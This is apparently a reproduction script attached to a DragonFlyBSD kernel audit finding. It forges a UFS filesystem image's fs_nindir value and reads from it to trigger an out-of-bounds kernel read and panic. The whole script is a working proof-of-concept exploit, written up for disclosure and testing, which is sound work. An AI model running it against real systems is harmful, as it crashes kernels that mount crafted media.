DragonFlyBSD Kernel Audit
DF-0914 / reproduce.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0914 reproduce.sh — runs IN THE GUEST as root.
#
# Same root cause as DF-0894 (unvalidated fs_nindir), but triggers the
# READ-path OOB at ufs_bmaparray:221 (daddr = bap[in_off]) instead of the
# WRITE-path OOB at ffs_balloc.c:297.
#
# To isolate the READ-path OOB (DF-0914) from the WRITE-path OOB (DF-0894),
# the file is written on the CORRECT image and the forged fs_nindir is
# applied AFTER unmount. This way ffs_balloc never sees the forged MNINDIR
# during allocation; only ufs_bmaparray sees it during the subsequent read.
#
# Flow:
#  Phase A (correct image, fs_nindir=4096):
#   1. newfs a UFS1 image (default: fs_bsize=16384, fs_nindir=4096).
#   2. Mount RW.
#   3. Write 1 byte at lbn=12 (offset=196608). With correct fs_nindir=4096,
#      ufs_getlbns(lbn=12) computes in_off=0 (IN BOUNDS). ffs_balloc
#      allocates i_ib[0] and entry[0] in the single-indirect block.
#   4. ftruncate the file to 134283265 (covers lbn=8203). Sparse, no balloc.
#   5. Unmount cleanly (indirect block written to disk).
#  Phase B (forged image, fs_nindir=8192):
#   6. Copy base.img -> evil.img, patch fs_nindir 4096 -> 8192.
#   7. Mount evil.img RW (no validation -> mount succeeds).
#   8. Read 1 byte at lbn=8203 (offset=134283264). With forged MNINDIR=8192,
#      ufs_getlbns(lbn=8203) computes in_off=8191. ufs_bmaparray:221 reads
#      bap[8191] = bp->b_data + 32764 — 16380 bytes past the 16384-byte
#      indirect-block buffer. OOB READ -> page-fault panic on GENERIC.
#
# Mount privilege: UFS is not user-mountable on DragonFly
# (vfs.usermount=0, SYSCAP_RESTRICTEDROOT). Root-context mount of attacker
# media -> kernel OOB read -> hardening gap / DoS.
#
# Usage (from host):
#   scp this + sources to dfbsd:, then vm.sh run_root 'sh /root/reproduce.sh'
# Expect: Fatal trap 12 page fault in ufs_bmaparray (READ-path OOB).
set -u
cd "$(dirname "$0")"

echo "================= DF-0914 primitive characterization (harness) ================="
./harness 16384 8192 8203
echo

echo "================= DF-0914 live kernel trigger (READ path) ================="
cc -o craft_img craft_img.c 2>&1 || { echo "CRAFT_BUILD_FAIL"; exit 3; }
cc -o trigger  trigger.c  2>&1 || { echo "TRIGGER_BUILD_FAIL"; exit 3; }

vnconfig -u vn0 2>/dev/null || true
rm -f base.img evil.img

# ---- Phase A: write on CORRECT image ----
echo "--- Phase A: newfs + write on correct fs_nindir=4096 ---"
truncate -s 32M base.img
vnconfig -c vn0 base.img
newfs /dev/vn0 2>&1 | head -5
vnconfig -u vn0

mkdir -p /mnt/test
vnconfig -c vn0 base.img
mount -t ufs /dev/vn0 /mnt/test 2>&1
echo "MOUNT_A_RC=$?"

if [ -d /mnt/test ]; then
    echo "--- writing 1 byte at lbn=12 (offset=196608) with CORRECT fs_nindir ---"
    ./trigger /mnt/test/target 196608 0   # write-only mode (read_off=0 skips read)
    echo "WRITE_PHASE_RC=$?"
    sync
    umount /mnt/test 2>/dev/null
fi
vnconfig -u vn0 2>/dev/null

# ---- Phase B: patch + read on FORGED image ----
echo
echo "--- Phase B: patch fs_nindir 4096 -> 8192, mount, read ---"
cp base.img evil.img
./craft_img evil.img 8192

vnconfig -c vn0 evil.img
mount -t ufs /dev/vn0 /mnt/test 2>&1
echo "MOUNT_B_RC=$?"

if [ -d /mnt/test ]; then
    echo "--- TRIGGER: read at lbn=8203 (offset=134283264, in_off=8191, OOB ~16KB) ---"
    # read-only mode: skip write (use read-only open), just seek+read
    ./trigger_ro /mnt/test/target 134283264
    echo "TRIGGER_RC=$? (only reached if NO panic)"
    sync 2>&1
    echo "SYNC_RC=$? (only reached if NO panic)"
fi

umount /mnt/test 2>/dev/null || true
vnconfig -u vn0 2>/dev/null || true
echo "END"